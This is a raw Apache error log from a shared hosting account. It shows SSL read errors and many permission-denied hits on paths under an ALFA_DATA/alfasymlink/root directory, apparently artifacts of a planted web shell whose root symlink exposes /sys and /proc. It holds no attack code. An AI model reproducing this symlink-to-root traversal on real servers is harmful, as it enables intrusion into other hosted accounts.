[Mon Oct 26 14:16:39.791437 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 52.205.113.104:24913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/PNP0C0F:04/subsystem/devices/device:1e/eject
[Mon Oct 26 14:16:44.223123 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 54.144.185.255:17270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:16:47.763981 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 185.191.171.10:60614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/trace
[Mon Oct 26 14:16:56.271598 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 18.204.152.114:1181] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:00.169276 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 3.230.69.161:49794] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:03.935428 2026] [ssl:error] [pid 3058816:tid 3058816] (5)Input/output error: [client 35.170.205.140:25087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:12.002219 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.221.105.234:50258] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:24.118100 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 23.20.178.124:25311] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:27.925202 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.217.171.106:10510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:31.802742 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 44.223.116.149:26866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:39.854142 2026] [ssl:error] [pid 3074879:tid 3074879] (70014)End of file found: [client 44.223.232.55:18883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:47.793834 2026] [ssl:error] [pid 3074892:tid 3074892] (5)Input/output error: [client 3.209.174.110:57282] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:17:56.110555 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 3.93.211.16:23670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/ACPI0010:00/subsystem/drivers_probe
[Mon Oct 26 14:18:00.407500 2026] [ssl:error] [pid 3074879:tid 3074879] (22)Invalid argument: [client 184.73.167.217:57630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:18:04.288231 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 34.199.252.22:15934] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:18:09.948378 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 185.191.171.3:46528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/slab_size
[Mon Oct 26 14:18:14.322943 2026] [core:error] [pid 3074873:tid 3074873] (13)Permission denied: [client 85.208.96.199:35924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/poison
[Mon Oct 26 14:18:15.964752 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 34.227.156.153:7709] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/resource0
[Mon Oct 26 14:18:18.896513 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/RITwlF8UBX/' is executable
[Mon Oct 26 14:18:18.896628 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Xf45g1vOVG/' is executable
[Mon Oct 26 14:18:18.896714 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Mon Oct 26 14:18:18.896841 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Mon Oct 26 14:18:18.897038 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/n83SSM739h/' is executable
[Mon Oct 26 14:18:18.897152 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/6kbL1XuIiD/' is executable
[Mon Oct 26 14:18:18.897204 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Mon Oct 26 14:18:18.897268 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/v7WsvFUVho/' is executable
[Mon Oct 26 14:18:18.897314 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/nnRZJb1Juq/' is executable
[Mon Oct 26 14:18:18.897361 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Mon Oct 26 14:18:18.897407 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Mon Oct 26 14:18:18.897466 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/wBeybsLHXV/' is executable
[Mon Oct 26 14:18:18.897510 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/8q2sCydPh5/' is executable
[Mon Oct 26 14:18:18.897552 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ViFEAD6HYr/' is executable
[Mon Oct 26 14:18:18.897593 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/WnEC8KZtlU/' is executable
[Mon Oct 26 14:18:18.897734 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/hNQbPWd2kD/' is executable
[Mon Oct 26 14:18:18.897805 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/7b1aDEYVIR/' is executable
[Mon Oct 26 14:18:18.897886 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/nL4cUoX2dh/' is executable
[Mon Oct 26 14:18:18.897934 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/atbV7hLAQS/' is executable
[Mon Oct 26 14:18:18.897978 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/oq6K0rejFI/' is executable
[Mon Oct 26 14:18:18.898041 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_4gGxNj1jq/' is executable
[Mon Oct 26 14:18:18.898098 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/PK7EkDXBbp/' is executable
[Mon Oct 26 14:18:18.898141 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/P7NdWo184S/' is executable
[Mon Oct 26 14:18:18.898269 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Mon Oct 26 14:18:18.898318 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/1Yt1W3a9Ze/' is executable
[Mon Oct 26 14:18:18.898362 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9rQ4cdkNCQ/' is executable
[Mon Oct 26 14:18:18.898402 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_kkgr6o8ai/' is executable
[Mon Oct 26 14:18:18.898442 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/xjhoijgaTz/' is executable
[Mon Oct 26 14:18:18.898485 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/vhrRK1JXY7/' is executable
[Mon Oct 26 14:18:18.898527 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/w1Du8raeKq/' is executable
[Mon Oct 26 14:18:18.898606 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Mon Oct 26 14:18:18.898666 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/4x7GklfLfl/' is executable
[Mon Oct 26 14:18:18.898737 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/Jv_fJ8FgT6/' is executable
[Mon Oct 26 14:18:18.898805 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/aWw1loTP0R/' is executable
[Mon Oct 26 14:18:18.898873 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Mon Oct 26 14:18:18.898920 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/rtyBKWjryj/' is executable
[Mon Oct 26 14:18:18.898961 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ipRojNggb4/' is executable
[Mon Oct 26 14:18:18.899000 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/_NkDK_G3eh/' is executable
[Mon Oct 26 14:18:18.899042 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Mon Oct 26 14:18:18.899110 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/kCf6PZ1WYZ/' is executable
[Mon Oct 26 14:18:18.899166 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/84lPUOx2JO/' is executable
[Mon Oct 26 14:18:18.899210 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/js2u_Gtz2I/' is executable
[Mon Oct 26 14:18:18.899290 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Mon Oct 26 14:18:18.899355 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/rqXfNeDxe6/' is executable
[Mon Oct 26 14:18:18.899397 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/NgqDY1QDQC/' is executable
[Mon Oct 26 14:18:18.899464 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/S6oGysmQfR/' is executable
[Mon Oct 26 14:18:18.899532 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ssmTYfkWmO/' is executable
[Mon Oct 26 14:18:18.899591 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/9Hdweni0LQ/' is executable
[Mon Oct 26 14:18:18.899635 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/ZS9bRKE_ln/' is executable
[Mon Oct 26 14:18:18.899717 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/TI_LDuVRZp/' is executable
[Mon Oct 26 14:18:18.899793 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/HRDPmHzdRv/' is executable
[Mon Oct 26 14:18:18.899873 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/WJiRaJProP/' is executable
[Mon Oct 26 14:18:18.899933 2026] [core:crit] [pid 3074879:tid 3074879] (13)Permission denied: [client 185.191.171.8:42526] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/usr/tmp/VWx0oIa_ha/' is executable
